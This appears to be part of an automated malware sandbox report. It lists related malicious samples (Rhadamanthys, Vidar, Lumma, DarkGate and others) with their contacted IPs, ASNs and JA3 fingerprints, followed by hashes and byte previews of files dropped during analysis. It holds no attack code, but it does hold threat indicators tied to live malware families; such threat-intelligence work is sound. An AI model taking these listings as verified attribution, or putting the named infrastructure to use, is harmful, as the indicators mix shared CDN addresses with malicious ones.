	wayneenterprisesbatcave-6.0.1901-windows-installer.msi	Get hash	malicious	ScreenConnect Tool	Browse	172.64.41.3
	Setup.exe (1).zip	Get hash	malicious	Unknown	Browse	172.64.41.3
	Smple_Order-048576744759475945.xls	Get hash	malicious	Unknown	Browse	162.159.61.3
	BG75-10-01_CurrencyTransfer__530_24_00002559_Processed.xls	Get hash	malicious	Unknown	Browse	162.159.61.3
	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	dZKPE9gotO.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	nB52P46OJD.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.64.41.3
fg.microsoft.map.fastly.net	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	199.232.214.172
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	EgnyteDesktopApp_3.17.1_144.msi	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DROPBOXUS	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
DROPBOXUS	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
6271f898ce5be7dd52b0fc260d0662b3	Document.xla	Get hash	malicious	Unknown	Browse	150.171.27.10
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	150.171.27.10
	#U041e#U043f#U043b#U0430#U0442#U0430.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	#U041e#U043f#U043b#U0430#U0442#U0430.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	Smple_Order-048576744759475945.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	150.171.27.10
	Sample_Order_000000991.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	BG75-10-01_CurrencyTransfer__530_24_00002559_Processed.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	Smple_Order-048576744759475945.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	150.171.27.10
3b5074b1b5d032e5620f69f9f700ff0e	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15
	dP5z8RpEyQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15
	http://85off-lv.com	Get hash	malicious	Unknown	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15
	fGZLZhXIt1.bat	Get hash	malicious	Unknown	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15
	greatnicefeatureswithsupercodebnaturalthingsinlineforgiven.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	162.125.65.15 162.125.65.18 20.198.118.190 3.125.209.94 3.125.102.39 20.198.119.84 162.125.69.15

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7485181194616767
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0H:9JZj5MiKNnNhoxuD
MD5:	EDCEB1599A5238B4A9C0C58F8A55A468
SHA1:	67C7EA34592932CD72519AB84B9DF87FFF764B57
SHA-256:	394AC4E95B6096DDB9F651DF542A1D6EC20F6AC514CA7330780E4145259911C4
SHA-512:	8C786FAE40CEB928CAC334A18132E6715710B447BFD496EA08538D475706225DC15588D713C88473EE7F0EEE85A069722423C17C7504255D962C98D1B98987DC
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x5d077f58, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556061979085598
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	769A062A3DA843927A5E038E2789EDB2
SHA1:	15CE8172D126E1662D975B9CDB87D4BEA68811E5
SHA-256:	BA4FC3361A16B38241955E024A46179278954EDBA0EA1290C99E7E8652B5B7A8
SHA-512:	C3129696CFD4170E52969758E1365320A3B70E5A80D6184EC3720A233F226725B6671B22B490E8833EE7C8602C0B6FEEB15F5C7C77322C4712ADD7D250B6E251
Malicious:	false
Preview:	]..X... .......7.......X\...;...{......................0.e......!...{?......\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................T......\|....................^r.....\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08032323599906788
Encrypted:	false
SSDEEP:	3:gLUYeHzQZWhKqeuNaAPaU1lR3Wz//lolluxmO+l/SNxOf:gLUzHzXhKluNDPaUJmzegmOH
MD5:	949B301CC32C4B3F81811162DDD70664
SHA1:	C6CB0E54597772437F2B6FC905A6CBD630C51B1A
SHA-256:	2D8E0C5D85067CD1D98CC1B657A459D030E87A9A639989ECF058F6C2F42C4A90
SHA-512:	835202B24253AB808701C88A95113973EAEB7B46BE890B7BB4E7E46023C814233ED3122E8431CBE7DCCB4201BDFEF9D13E38D6F0C43FF464AE7B25D2BA6CCA10
Malicious:	false
Preview:	."!T.....................................;...{.......\|...!...{?..........!...{?..!...{?..g...!...{?...................^r.....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fontdrvhost.exe_d32c824e8915b30da4efd4eabd13e74e4ef8c1_ad0be647_ff8efbcc-3a40-403b-b76b-3bcbf180434f\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6606904399326448
Encrypted:	false
SSDEEP:	96:mgFai3efqigKJus3Wrk41yHpHS2QXIDcQkc6tcEycw3ZUtzJzQ+HbHgrZ2ZAX/d4:bMyYHnuxR0apYKjqzuiF3Z24lO8JO
MD5:	C8E833696E5FFE595AFA15EA640E879D
SHA1:	9B7B2B3FAC5FB9573AC6EA552D1B3100CD25BB65
SHA-256:	37BE7D70D608D239101B1840F132F76A53040ECB2119232FB8F965F295ADBAC4
SHA-512:	FB6282B2838CBE67B7D65473621789950C01708C0E4236668C5182259CFCF49E2E4ED328A139238DF8BF98DF127296A77A0655DF5D9984355DA1DAFA67C1F035
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.0.7.6.9.3.3.1.7.9.7.4.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.9.0.7.6.9.4.0.6.7.9.6.4.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.f.8.e.f.b.c.c.-.3.a.4.0.-.4.0.3.b.-.b.7.6.b.-.3.b.c.b.f.1.8.0.4.3.4.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.d.c.9.b.0.1.2.-.9.7.b.8.-.4.c.7.b.-.b.d.5.9.-.a.e.4.2.3.d.3.b.5.9.e.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.8.e.4.-.0.0.0.1.-.0.0.1.5.-.7.1.d.8.-.7.5.e.3.7.4.5.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.5.e.f.b.3.f.9.7.3.4.2.b.a.1.9.5.4.2.4.1.3.4.f.2.8.f.9.7.7.d.a.9.e.0.d.6.a.a.9.1.!.f.o.n.t.d.r.v.h.o.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER28EF.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Dec 17 11:14:53 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	47414
Entropy (8bit):	1.2895863450232368
Encrypted:	false
SSDEEP:	96:5x8LOC2MRdn9Hy+8Xly7i7M/G2gyFiSozEMoDEKzsPWImbIT8PB:Md58qOM/Gd9+Jzs7U
MD5:	383AC227BEEF4DF359BF7B8E62231894
SHA1:	145FA7DBEA7276D56EC958A385F70999B9B8F950
SHA-256:	E6D00839185E0E9F9402B15C3D0030916EF088CCE049285849BF6BC2D93FCA59
SHA-512:	3B41723B04EAF96044D5C5DE0EC007BEAA6FF6ADC2A4A3DCB3C7DBE26F76A7E2DDE280F0D9B8131DBCC4C446C31B6F9FE3B14AFD4B0AE644A8CCE8DA66CA659C
Malicious:	false
Preview:	MDMP..a..... .......-]ag........................................2!..........T.......8...........T.......................................................................................................................eJ..............Lw......................T...........*]ag.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER294E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8622
Entropy (8bit):	3.69402347995921
Encrypted:	false
SSDEEP:	192:R6l7wVeJjNZ/6YBZ9b35/gmfr57vNpDa89bw1/fIwm:R6lXJpR6YBjb35/gmfrFv7wtfG
MD5:	A67C6392F1F338F5D712CCA32C230F34
SHA1:	AF8998F97F9A0E725C5857E93C5704B5FC9FB927
SHA-256:	F77B619E13623FCBE25201B22528BAB098BB5BE6751B19BFAC6DB757C5A0C4A0
SHA-512:	678EFE191670436E936820EC5CE0BED186D7F13EC5B6FDE46299703E460B74A96EAC88F2A2E09AE3DFAF621E87A67DB5F4EDE57F89BEAD08CDD496A2C6BCD4E1
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.2.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29AD.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4853
Entropy (8bit):	4.446831221909621
Encrypted:	false
SSDEEP:	48:cvIwWl8zsguJg771I97gWpW8VYuYm8M4Jk5LvM6FCHKyq8vU5LvMhaMuUFd:uIjfgkI74Z7VCJcjMmWsjMh1uOd
MD5:	05F55AC8CC6E6B47790BCE4DBD559C00
SHA1:	CDC687F963E92DD499C4B3E15BEDFDF63E702FF2
SHA-256:	3A73143962DD18F6E32229CF4A12608CCA47DAA8BEBDE88B0F679927E27DE585
SHA-512:	BBC456F106CEB4E60E7BE8B94CBD48CD7ECEC5A27D65F98EF79A3DB3711235E095BBDB605A995E4B4DA5D8C189C5E02DE8FBD844D8438D4457450AB1E34FB006
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="635177" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1c72c8a0-f74f-471b-acc7-7476ae790160.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089737860851747
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWodi1zNtPM6kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynMRkzItSmd6qE7lFoC
MD5:	2F8FC81EE10F80542BD3DC8707778565
SHA1:	62170F9CD0BD4C55EC1EA16E1843720F88D43065
SHA-256:	C115C2482717F0B5F28D0E9EA15379364566E6D38CE1A4B01749FED24D2F1735
SHA-512:	A7AE459A8BD787A47203E46B4FAC73E85A3F40BE5C839626D08A39069F108C8C8649953BC6A8DF922ABE980169C99D55A7A6D5BE03952AF0CD0D992B1400F06F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\82b87153-f672-4089-90e7-a2a2bf22bab8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46203
Entropy (8bit):	6.08755233107803
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQc5J95lfbi1zNtA/nyClJMJTWzXxYPCioNJDSgzMMd6qD47u30d:VMk1rT8Hx9zn1XxWFoNtSmd6qE7f
MD5:	2F301BD5921A5890DBF32691393B6A79
SHA1:	D664D0F3E09F5333C5918CEF571470956636C5C3
SHA-256:	3EABC84F7ED24852455891B91C1CF87F27121CB088F6FF952B6B679AE270C67E
SHA-512:	486121D1FA64104B734A7C268BE2EAB44CEC710368ECB84E4253B695A9EE21898AA64F457B811E89CFA21B8521EFFCC559E8E1DF7D0253DDB70BC00097C1D940
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378907603890033","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734434008"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\93755e5c-1aa1-41ff-8fb2-421ba35e865f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46126
Entropy (8bit):	6.087607459199708
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQc5dK5lfbi1zNtA/nf9ClJMJTWzXxYPCioNJDSgzMMd6qD47u30d:VMk1rT8H1KznfqXxWFoNtSmd6qE7f
MD5:	D42AD58C6557596C8FE808B3F42A43C5
SHA1:	10CCA52D350180B7833CBAF4F3EABA9B97435E36
SHA-256:	D536760768D9CB2825E4A9F6363B45800FCA622731EC75AEBD1CFD937B9A0FFC
SHA-512:	0BB6312AB20B730716D818E7F89A2B9E32DD52085F3A21B88678F0812060E5670C105AA75A4B8B4ACACCB26BBD1ECB07181C52D9987BFC59BB697ACA82A3747F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378907603890033","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734434008"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9c4f835d-2b64-4d26-aaf6-288e561dc14e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46203
Entropy (8bit):	6.0875507247551806
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQc5JK5lfbi1zNtA/nyClJMJTWzXxYPCioNJDSgzMMd6qD47u30d:VMk1rT8HxKzn1XxWFoNtSmd6qE7f
MD5:	B513E96B3339234AE4001BDD995FF3DB
SHA1:	8EB452F145689D22F0377D4805249D701F14C9A7
SHA-256:	1B3FF9586A16E3EA68029FB0802F0CF7A6E29AA93D6D1491185662A99EF256A9
SHA-512:	77914455C1AF66594F7A81503A0610C4C503A2D4E8F00E19A0ECEDFDB8DF2FE5344A9CF3FEE5326C36173237DB41EF6FC5A5007468093FD22FE5EE96844C6A7D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378907603890033","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734434008"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\bc0b9e12-5c8d-4bb5-bab1-e23d1dbb9350.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
